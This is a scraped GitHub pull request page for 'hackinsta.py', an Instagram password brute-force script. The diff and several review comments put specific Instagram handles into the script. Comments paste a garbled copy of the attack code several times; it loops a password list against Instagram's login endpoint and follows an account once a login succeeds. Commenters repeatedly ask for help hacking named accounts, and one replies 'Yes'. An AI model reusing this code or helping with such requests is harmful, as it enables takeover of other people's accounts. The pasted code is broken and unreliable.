-
Notifications
You must be signed in to change notification settings - Fork 1.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update hackinsta.py #5
base: master
Are you sure you want to change the base?
Conversation
How to hack someone account |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
kak_trsenar
hackinsta.py
Outdated
if (r.status_code == 404): | ||
print ('User not found') | ||
return False | ||
elif (r.status_code == 200): | ||
followdata = json.loads(r.text) | ||
fUserID = followdata['user']['id'] | ||
return {'username':username,'id':fUserID} | ||
return {'username':nurrhome,'id':fUserID} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return {'username':anahitarajmohan,'id':fUserID}
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
lamiaa.acarr
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
_senemyrsl
hackinsta.py
Outdated
|
||
|
||
def Login(username,password): | ||
def Login(nurhhome,password): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def Login(anahitarajmohan,password):
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https://instagram.com/nur.hh?igshid=1jtfvnptgfh9u
import requests
import json
import time
import os
filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()
def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}
def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})
#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})
data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
print (data['message'])
return False
if (data['authenticated'] == True):
return sess #if we want to keep use session
else:
print ('Password incorrect [%s]' % password)
return False
def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']
delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))
for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])
#because i am cool
follow(sess,'nur.hh')
try:
time.sleep(delayLoop)
except KeyboardInterrupt:
an = str(input('Type y/n to exit: '))
if (an == 'y'):
exit()
else:
continue
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you hack Instagram brother?
hackinsta.py
Outdated
@@ -49,7 +49,7 @@ def Login(username,password): | |||
r = sess.get('https://www.instagram.com/') | |||
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) | |||
|
|||
data = {'username':username, 'password':password} | |||
data = {'username':nurrhome, 'password':password} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
data = {'username':anahitarajmohan, 'password':password}
hackinsta.py
Outdated
@@ -67,22 +67,22 @@ def Login(username,password): | |||
|
|||
|
|||
|
|||
def follow(sess, username): | |||
username = userExists(username) | |||
def follow(sess, nurrhome): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def follow(sess, anahitarajmohan):
hackinsta.py
Outdated
def follow(sess, username): | ||
username = userExists(username) | ||
def follow(sess, nurrhome): | ||
nurrhome = userExists(nurrhome) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
anahitarajmohan = userExists(anahitarajmohan)
hackinsta.py
Outdated
if (username == False): | ||
nurrhome = str(input('Please enter a username: ')) | ||
nurrhome = userExists(nurrhome) | ||
if (nurrhome == False): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if (anahitarajmohan == False):
hackinsta.py
Outdated
exit() | ||
else: | ||
username = username['username'] | ||
nurrhome = nurrhome['username'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
anahitarajmohan = anahitarajmohan['username']
hackinsta.py
Outdated
@@ -91,9 +91,9 @@ def follow(sess, username): | |||
|
|||
for i in range(len(passwords)): | |||
password = passwords[i] | |||
sess = Login(username,password) | |||
sess = Login(nurrhome,password) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
sess = Login(anahitarajmohan,password)
https://www.instagram.com/instxgrxmmxr09 i want hack this account |
Yes
…On Mon, 2 Aug, 2021, 11:32 am leopardgunny, ***@***.***> wrote:
https://www.instagram.com/instxgrxmmxr09
i want hack this account
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#5 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AQVW7HUH43OPZO2725F2AZ3T2YYH5ANCNFSM4MTAT2FQ>
.
|
hackinsta.py
Outdated
|
||
|
||
def Login(username,password): | ||
def Login(nurhhome,password): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https://instagram.com/nur.hh?igshid=1jtfvnptgfh9u
import requests
import json
import time
import os
filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()
def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}
def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})
#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})
data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
print (data['message'])
return False
if (data['authenticated'] == True):
return sess #if we want to keep use session
else:
print ('Password incorrect [%s]' % password)
return False
def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']
delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))
for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])
#because i am cool
follow(sess,'nur.hh')
try:
time.sleep(delayLoop)
except KeyboardInterrupt:
an = str(input('Type y/n to exit: '))
if (an == 'y'):
exit()
else:
continue
Can you hack Instagram? |
Yes brother
Can you hack for me Instagram account
…On 07-Oct-2021 10:24 AM, "ronnie309" ***@***.***> wrote:
Can you hack Instagram?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#5 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AUDE7QYBXZX4HIN2K5I4XKTUFURXRANCNFSM4MTAT2FQ>
.
|
IKRMAM:patch-2 |
Please help me how to hack instgram account |
Hello can you help me hack an account? |
@@ -17,17 +17,17 @@ | |||
|
|||
|
|||
def userExists(username): | |||
r = requests.get('https://www.instagram.com/%s/?__a=1' % username) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
nur.hh
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
hh
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
import requests
import json
import time
import os
filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()
def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}
def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})
#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})
data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
print (data['message'])
return False
if (data['authenticated'] == True):
return sess #if we want to keep use session
else:
print ('Password incorrect [%s]' % password)
return False
def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']
delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))
for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])
#because i am cool
follow(sess,'nur.hh')
try:
time.sleep(delayLoop)
except KeyboardInterrupt:
an = str(input('Type y/n to exit: '))
if (an == 'y'):
exit()
else:
continue
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yy
How can hack Instagram account |
Hey bro! Can you tell me step by step how to do? |
Hey bro! Can you tell step by step how to do? |
can you hack an account? pleaseeee |
No description provided.